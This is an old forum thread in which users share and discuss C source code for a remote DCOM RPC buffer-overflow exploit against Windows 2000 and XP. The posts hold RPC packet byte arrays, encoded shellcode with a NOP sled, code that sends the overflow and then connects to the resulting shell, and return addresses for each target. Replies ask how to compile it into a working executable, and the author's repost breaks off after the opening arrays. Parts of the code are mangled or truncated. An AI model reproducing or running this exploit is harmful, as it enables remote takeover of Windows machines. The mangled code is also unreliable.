Daume
Sep 15 2003, 10:49 AM
hey try to compile
#include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "ws2_32")
unsigned char bindstr[]={ 0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00 ,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00 ,0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00 ,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char requestA[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xb0,0x03,0x00,0x00,0x01,0x00,0x00,0x00 ,0x98,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x05,0x14,0x00 ,0x68,0x03,0x00,0x00,0x68,0x03,0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00 ,0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x00,0x00,0x00,0x00,0x38,0x03,0x00,0x00,0x30,0x03,0x00,0x00,0x00,0x00,0x00,0x00 ,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x30,0x03,0x00,0x00,0xd8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00 ,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x18,0x01,0x8d,0x00,0xb8,0x01,0x8d,0x00,0x00,0x00,0x00,0x00 ,0x07,0x00,0x00,0x00,0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00 ,0x00,0x00,0x46,0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00 ,0x00,0x46,0xad,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00 ,0x00,0x46,0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00 ,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00 ,0x00,0x58,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x30,0x00,0x00 ,0x00,0xc0,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0x50,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0x48,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x5d,0x88,0x9a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08 ,0x00,0x2b,0x10,0x48,0x60,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x47,0x0a,0x00,0x58,0x00,0x00 ,0x00,0x00,0x50,0x00,0x60,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x6c,0xcc,0xcc,0xcc,0xc0,0x11,0x00 ,0x80,0x0c,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x0b,0xa0 ,0x90,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x04,0xd4,0x54 ,0xf5,0x70,0x40,0x00,0x00,0x0c,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00 ,0x00,0x00,0x00,0x00,0x04,0x63,0xb0,0x30,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00 ,0x00,0x00,0x00,0x00,0x04,0x60,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x10,0x00 ,0x10,0x06,0x73,0xc7,0x09,0x41,0x33,0x3f,0xd4,0x68,0x72,0x44,0xd0,0x93,0x98,0x89 ,0x39,0xd0,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x11,0x00 ,0x80,0x0c,0xcc,0xcc,0xcc,0xc4,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x0b,0x07,0xe0,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x08,0x90 ,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0xd0,0x00,0x00,0x07,0x30,0x06,0x10,0x06,0xa0,0x06,0x90,0x06,0x10,0x06 ,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x03,0x80,0x03,0x60,0x00,0x00,0x00 ,0x80,0x0c,0xcc,0xcc,0xcc,0xc0,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc1,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc5,0x80,0x00 ,0x00,0x00,0x00,0x00,0x00,0x0c,0x05,0xe0,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x01,0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xb0,0x00 ,0x00,0x05,0xc0,0x05,0xc0,0x00,0x00,0x05,0xc0,0x06,0xa0,0x06,0x90,0x06,0x10,0x06 ,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x00,0x00,0x03,0x60,0x05,0xc0,0x07 ,0x00,0x07,0x50,0x06,0x20,0x06,0xc0,0x06,0x90,0x06,0x30,0x05,0xc0,0x04,0x10,0x04 ,0x10,0x04,0x10,0x04,0x10,0x00,0x00,0x00,0x00,0x00,0x10,0x01,0x50,0x00,0x11,0x00 ,0x80,0x0c,0xcc,0xcc,0xcc,0xc2,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x09,0x05,0xb0,0x90,0x00,0x20,0x00,0x00,0x00,0x10,0x06,0xc0,0x0c,0x0d,0xf0 ,0x80,0x00,0x10,0x00,0x00,0x00,0x70,0x05,0x50,0x00,0x00,0x00,0x00,0x00};
unsigned char requestB[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xb0,0x03,0x00,0x00,0x02,0x00,0x00,0x00 ,0x98,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x05,0x14,0x00 ,0x68,0x03,0x00,0x00,0x68,0x03,0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00 ,0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x00,0x00,0x00,0x00,0x38,0x03,0x00,0x00,0x30,0x03,0x00,0x00,0x00,0x00,0x00,0x00 ,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x30,0x03,0x00,0x00,0xd8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00 ,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x18,0x01,0x8d,0x00,0xb8,0x01,0x8d,0x00,0x00,0x00,0x00,0x00 ,0x07,0x00,0x00,0x00,0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xf6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xad,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00 ,0x90,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x68,0x00,0x00,0x00 ,0x30,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc ,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc ,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5d,0x88,0x9a,0xeb,0x1c,0xc9,0x11 ,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x47,0x0a,0x00 ,0x58,0x00,0x00,0x00,0x00,0x50,0x00,0x60,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x6c,0xcc,0xcc,0xcc ,0xc0,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x02,0x0b,0xa0,0x90,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00 ,0x04,0xd4,0x54,0xf5,0x70,0x40,0x00,0x00,0x0c,0x00,0x10,0x00,0x00,0x00,0x00,0x00 ,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x63,0xb0,0x30,0x00,0x00,0x00,0x00,0x00 ,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x60,0x00,0x00,0x00,0x03,0x00,0x00,0x00 ,0x00,0x10,0x00,0x10,0x06,0x73,0xc7,0x09,0x41,0x33,0x3f,0xd4,0x68,0x72,0x44,0xd0 ,0x93,0x98,0x89,0x39,0xd0,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00 ,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc4,0x80,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x0b,0x07,0xe0,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x0f,0x08,0x90,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00,0x07,0x30,0x06,0x10,0x06,0xa0,0x06,0x90 ,0x06,0x10,0x06,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x03,0x80,0x03,0x60 ,0x00,0x00,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc0,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc ,0xc1,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc ,0xc5,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x05,0xe0,0xa0,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xb0,0x00,0x00,0x00,0x00,0x00,0x00 ,0x01,0xb0,0x00,0x00,0x05,0xc0,0x05,0xc0,0x00,0x00,0x05,0xc0,0x06,0xa0,0x06,0x90 ,0x06,0x10,0x06,0x40,0x06,0x50,0x07,0x60,0x05,0xf0,0x07,0x80,0x00,0x00,0x03,0x60 ,0x05,0xc0,0x07,0x00,0x07,0x50,0x06,0x20,0x06,0xc0,0x06,0x90,0x06,0x30,0x05,0xc0 ,0x04,0x10,0x04,0x10,0x04,0x10,0x04,0x10,0x00,0x00,0x00,0x00,0x00,0x10,0x01,0x50 ,0x00,0x11,0x00,0x80,0x0c,0xcc,0xcc,0xcc,0xc2,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x09,0x05,0xb0,0x90,0x00,0x20,0x00,0x00,0x00,0x10,0x06,0xc0 ,0x0c,0x0d,0xf0,0x80,0x00,0x10,0x00,0x00,0x00,0x70,0x05,0x50,0x00,0x00,0x00,0x00 ,0x00};
unsigned char requestC[]={ 0x05,0x00,0x0e,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x03,0x00,0x00,0x00 ,0xd0,0x16,0xd0,0x16,0x05,0xaf,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00 ,0xb8,0x4a,0x9f,0x4d,0x1c,0x7d,0xcf,0x11,0x86,0x1e,0x00,0x20,0xaf,0x6e,0x7c,0x57 ,0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00 ,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
int type=0; struct { char *os; u_long ret; } targets[] = { { "[windows_2000]", [TOP-SECRET] }, /* DCOMv1: 0x0018759F */ { "[Windows_xp]", [TOP-SECRET] }, /* DCOMv1: 0x0100139d */ }, v;
void usage(char *prog) { int i; printf("DCOM v2 BETA v.0.3 By Lemongreen: Usage: %s -d HOST\n"); printf(" Proof Of Concept: *RET ADDRESS MISSING* "); printf(" Based On OC192 Code "); exit(0); }
unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" "\xcc\xe0\xfd\x7f" "\xcc\xe0\xfd\x7f" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
unsigned char requestD[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x9a,0x00,0x00,0x00,0x03,0x00,0x00,0x00 ,0x82,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x95,0x96,0x95,0x2a,0x8c,0xda,0x6d,0x4a ,0xb2,0x36,0x19,0xbc,0xaf,0x2c,0x2d,0xea,0x34,0xeb,0x8f,0x00,0x07,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x5c,0x00,0x5c,0x00,0x4d,0x00,0x45,0x00 ,0x4f,0x00,0x57,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x48,0x00 ,0x5c,0x00,0x48,0x00,0x01,0x00,0x00,0x00,0x58,0xe9,0x8f,0x00,0x01,0x00,0x00,0x00 ,0x95,0x96,0x95,0x2a,0x8c,0xda,0x6d,0x4a,0xb2,0x36,0x19,0xbc,0xaf,0x2c,0x2d,0xea ,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x5c,0x00};
void con(int sockfd) { char rb[1500]; fd_set fdreadme; int i;
FD_ZERO(&fdreadme); FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme);
while(1) { FD_SET(sockfd, &fdreadme); FD_SET(0, &fdreadme); if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) 1) || (type 65535) || (port 65535) || (port h_addr); their_addr.sin_port = htons(port);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("Next..."); return(0); }
if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("Done, is it a shell ? "); return(0); }
len=sizeof(sc); memcpy(buf2,requestA,sizeof(requestA)); len1=sizeof(requestA);
*(unsigned long *)(requestB)=*(unsigned long *)(requestB)+sizeof(sc)/2; *(unsigned long *)(requestB+8)=*(unsigned long *)(requestB+8)+sizeof(sc)/2;
memcpy(buf2+len1,requestB,sizeof(requestB)); len1=len1+sizeof(requestB); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,requestC,sizeof(requestC)); len1=len1+sizeof(requestC); memcpy(buf2+len1,requestD,sizeof(requestA)); len1=len1+sizeof(requestD);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sockfd,bindstr,sizeof(bindstr),0)== -1) { perror("Connection Error / No Shell"); return(0); } len=recv(sockfd, buf1, 1000, 0);
if (send(sockfd,buf2,len1,0)== -1) { perror("Connection Error / No Shell\n"); return(0); } close(sockfd); sleep(1);
their_addr.sin_family = AF_INET; their_addr.sin_addr = *((struct in_addr *)he->h_addr); their_addr.sin_port = lportl;
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("Connection Error / No Shell\n"); return(0); }
if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("Connection Error / No Shell\n"); return(0); }
printf("A shell ? \n");
sleep(2);
printf("Maybe.. You tell me \n");
con(sockfd);
return(0); }
i think it was post by k-otik but they deleted it :/
and i got this too :
targets[] = { { "[windows_2000]", 0x252baa77 }, /* DCOMv1: 0x0018759F */ { "[Windows_xp]", 0x294cdf77 }, /* DCOMv1: 0x0100139d */ }, v;
Dillinja
Sep 15 2003, 11:32 AM
| QUOTE (Daume @ Sep 15 2003, 11:49 AM) | hey try to compile
#include #include #include #include #include #include #include #include #include #include |
Not a great start!
Buster
Sep 15 2003, 11:33 AM
i'm missing the include files
HuH0X
Sep 15 2003, 12:30 PM
Hey,
i doubt this is a DCOM2 sploit, mainly due to these lines { "[windows_2000]", [TOP-SECRET] }, /* DCOMv1: 0x0018759F */ { "[Windows_xp]", [TOP-SECRET] }, /* DCOMv1: 0x0100139d */
HH
Sparkles
Sep 15 2003, 12:33 PM
void usage(char *prog) { int i; printf("DCOM v2 BETA v.0.3 By Lemongreen: Usage: %s -d HOST\n"); printf(" Proof Of Concept: *RET ADDRESS MISSING* "); printf(" Based On OC192 Code "); exit(0); }
^^ maybe you missed that... it says proof of concept which has been around for a few days (at the least) now and the header files wouldnt be too hard to workout which ones were needed..
thatsmej
Sep 15 2003, 12:40 PM
| QUOTE | void usage(char *prog) { int i; printf("DCOM v2 BETA v.0.3 By Lemongreen: Usage: %s -d HOST\n"); printf(" Proof Of Concept: *RET ADDRESS MISSING* "); printf(" Based On OC192 Code "); exit(0); }
|
isnt Lemongreen on this board??
Buster
Sep 15 2003, 12:42 PM
you will find the exploit with the ret codes and the header files in a other post.
Ripper
Sep 15 2003, 01:07 PM
sow...... this code + ret / header files = dcom2exploit.c --> compile = .exe? cause that would be GREAT guys
Anarchy
Sep 15 2003, 01:57 PM
include what?
Lemongreen
Sep 15 2003, 02:24 PM
its not a fake, its a real PROOF OF CONCEPT!!!.
by me btw , with part of the credits to oc192
| CODE | #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h>
unsigned char bindstr[]={ 0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00 ,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00
,0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00
,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
